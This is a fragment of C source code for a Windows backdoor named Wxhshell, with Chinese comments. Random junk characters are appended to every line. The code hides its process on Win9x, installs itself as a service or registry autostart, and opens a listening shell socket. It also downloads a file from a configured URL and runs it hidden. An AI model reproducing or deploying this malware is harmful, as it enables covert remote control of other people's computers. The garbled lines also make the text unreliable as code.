ULONG InheritedFromUniqueProcessId; fB3W} dr
} PROCESS_BASIC_INFORMATION; y0D="2)
}<hyW9
PROCNTQSIP NtQueryInformationProcess; PYp<eo\
K7H`Yt
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^ LTKX`p
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ki[Yu+';}
WS?"OTH.^\
HANDLE hProcess; h{&}p-X&[
PROCESS_BASIC_INFORMATION pbi; 3-5X^!C
Eh&et0&=g
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?|t9@r
if(NULL == hInst ) return 0; ({}JvSn1
3"Y
|RSy
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tz&oe
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X)^kJ`
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2}P?N
b]Xc5Dp{
if (!NtQueryInformationProcess) return 0; 8e 9ZgC|
&nk[gb
o\
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `|\z#Et
if(!hProcess) return 0; ,s*-2Sz
<V-D
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oyS43/."
+&7D
;wj=
CloseHandle(hProcess); <TL!iM
Jf-4Q!
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D.hj9
if(hProcess==NULL) return 0; FCu0)\
1I*b7t
HMODULE hMod; %B&y^mZv*\
char procName[255]; >:s#MwIwm
unsigned long cbNeeded; 8%qHy1
j`GL#J[wqQ
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G{,X_MZ%
tiI:yq0
CloseHandle(hProcess); Ov$_Phm:
#@QZ
if(strstr(procName,"services")) return 1; // 以服务启动 bF5 mCR:
df=G}M(
return 0; // 注册表启动 x4&<Vr
} Gf(|?"
H
p<w2e
// 主模块 %QW1?VVP
int StartWxhshell(LPSTR lpCmdLine) y6bl&_
{ C 'YL9r-G
SOCKET wsl; {_GhS%
BOOL val=TRUE; lLq:(zMH
int port=0; b'1n1L
struct sockaddr_in door; [ &cCE
<<,YgRl2
if(wscfg.ws_autoins) Install(); 2WK]I1_
nU{}R"|
port=atoi(lpCmdLine); uAd4Zz
F'!pM(+
if(port<=0) port=wscfg.ws_port; 1$&(ei]*:
8<gYB$* S
WSADATA data; v##k,R.d
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sEQA C9M
IkzY
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; s<f<:BC
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q2o`.f+I
door.sin_family = AF_INET; VI{!ZD]
door.sin_addr.s_addr = inet_addr("127.0.0.1"); eI%{/>
door.sin_port = htons(port); lr>P/W\
)5NfOvmNB
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }Zs
y&K
closesocket(wsl); %r1NRg8
return 1; P4&3jQ[o
} cZ6Zx]
ID/=YG@
if(listen(wsl,2) == INVALID_SOCKET) { h!k[]bt5
closesocket(wsl); sqtMhUQ?>w
return 1; I?2S{]!?
} /I`AwCx
Wxhshell(wsl); r#svj*dn
WSACleanup(); yK1@`3@?
]LcCom:]
return 0; ~F gxhK2+
)Z.v fc
} >iZ"#1ZL2O
8dgi"/[3
// 以NT服务方式启动 s7"NK"
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Pdq}~um3{
{ J>@T'#
DWORD status = 0; MBeubS
DWORD specificError = 0xfffffff; v-
793pr
z(00"ei
serviceStatus.dwServiceType = SERVICE_WIN32; >-%tvrS%
serviceStatus.dwCurrentState = SERVICE_START_PENDING; /6K9? /
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2=\} 0
serviceStatus.dwWin32ExitCode = 0; Nk#[~$Q-1
serviceStatus.dwServiceSpecificExitCode = 0; 3FD6.X>x
serviceStatus.dwCheckPoint = 0; })?t:zX#*
serviceStatus.dwWaitHint = 0; DJ zJ$Q
F
gi&CJ8Q
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HLlp+;CF><
if (hServiceStatusHandle==0) return; [:CV5k~xc
|Ok@:Au
status = GetLastError(); Xr B)[kQ
if (status!=NO_ERROR) t<F*ODn
{ 8)Z)pCN
serviceStatus.dwCurrentState = SERVICE_STOPPED; -~Ll;}nZC
serviceStatus.dwCheckPoint = 0; ]AB<OjF1c|
serviceStatus.dwWaitHint = 0; `RF0%Vm~t
serviceStatus.dwWin32ExitCode = status; ,Y)7M3I
serviceStatus.dwServiceSpecificExitCode = specificError; _Se0,Uns
SetServiceStatus(hServiceStatusHandle, &serviceStatus); C\3;o]
return; W(gOidKKz
} >8v4fk
IK
]
I&l0Fx
serviceStatus.dwCurrentState = SERVICE_RUNNING; })V^t3
serviceStatus.dwCheckPoint = 0; 4r+@7hnK
serviceStatus.dwWaitHint = 0; e&R?9z-*
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S)?V;@p6
} G!G]*p5
lG1\41ZxB
// 处理NT服务事件,比如:启动、停止 #YiphR&
VOID WINAPI NTServiceHandler(DWORD fdwControl) 51sn+h<w
{ :637MD>5lO
switch(fdwControl) Ie z`g<r
{ H(A9YxXrZ5
case SERVICE_CONTROL_STOP: m@,u&9K
serviceStatus.dwWin32ExitCode = 0; ;4MC/Q/
serviceStatus.dwCurrentState = SERVICE_STOPPED; ^MXW,xqb
serviceStatus.dwCheckPoint = 0; 3i*HwEh
serviceStatus.dwWaitHint = 0; c:d.mkF\
{ e+TSjm
SetServiceStatus(hServiceStatusHandle, &serviceStatus); <n;9IU
} /WxCsQn
return; QC,LHt?6
case SERVICE_CONTROL_PAUSE: _HAtTW
serviceStatus.dwCurrentState = SERVICE_PAUSED; z^FJ
break; #CV;Np
case SERVICE_CONTROL_CONTINUE: \aY<| 7zK
serviceStatus.dwCurrentState = SERVICE_RUNNING; }wIF$v?M
break; d,5,OJY2f
case SERVICE_CONTROL_INTERROGATE: E ',z<S
break; _spW~"|G
}; +jPJv[W
SetServiceStatus(hServiceStatusHandle, &serviceStatus); qexnsL
} _{
Np_(g
J4woZ{d
// 标准应用程序主函数 +~7x+6E
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +I<^w)
{ "Dt:
8Nf^
Q"Pl)Q\
// 获取操作系统版本 Q2)CbHSz
OsIsNt=GetOsVer(); aA6m5
GetModuleFileName(NULL,ExeFile,MAX_PATH); 75"&"*R/*G
>53Hqzm&
// 从命令行安装 {Qf/.[
if(strpbrk(lpCmdLine,"iI")) Install(); 2{6%+>jB
w;wgh`ur
// 下载执行文件 CZzgPId%x
if(wscfg.ws_downexe) { f;`7}7C
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2Kmnt(>
WinExec(wscfg.ws_filenam,SW_HIDE); riu_^!"Z_
} ~p!=w#/
qydRmi
if(!OsIsNt) { P-_2IZiz
// 如果时win9x,隐藏进程并且设置为注册表启动 _qf$dGqc
HideProc(); A=f)ntH~
StartWxhshell(lpCmdLine); _g]h \3
} = e"RE/q2
else z=j,-d%9
if(StartFromService()) o]<@E u G
// 以服务方式启动 {5NE jUu{j
StartServiceCtrlDispatcher(DispatchTable); :5#iVa#<
else 3P|z`}Ka
// 普通方式启动 5L 0w!q'W
StartWxhshell(lpCmdLine); L2Z-seE
|I2~@RfpO:
return 0; Ywo=w:'
}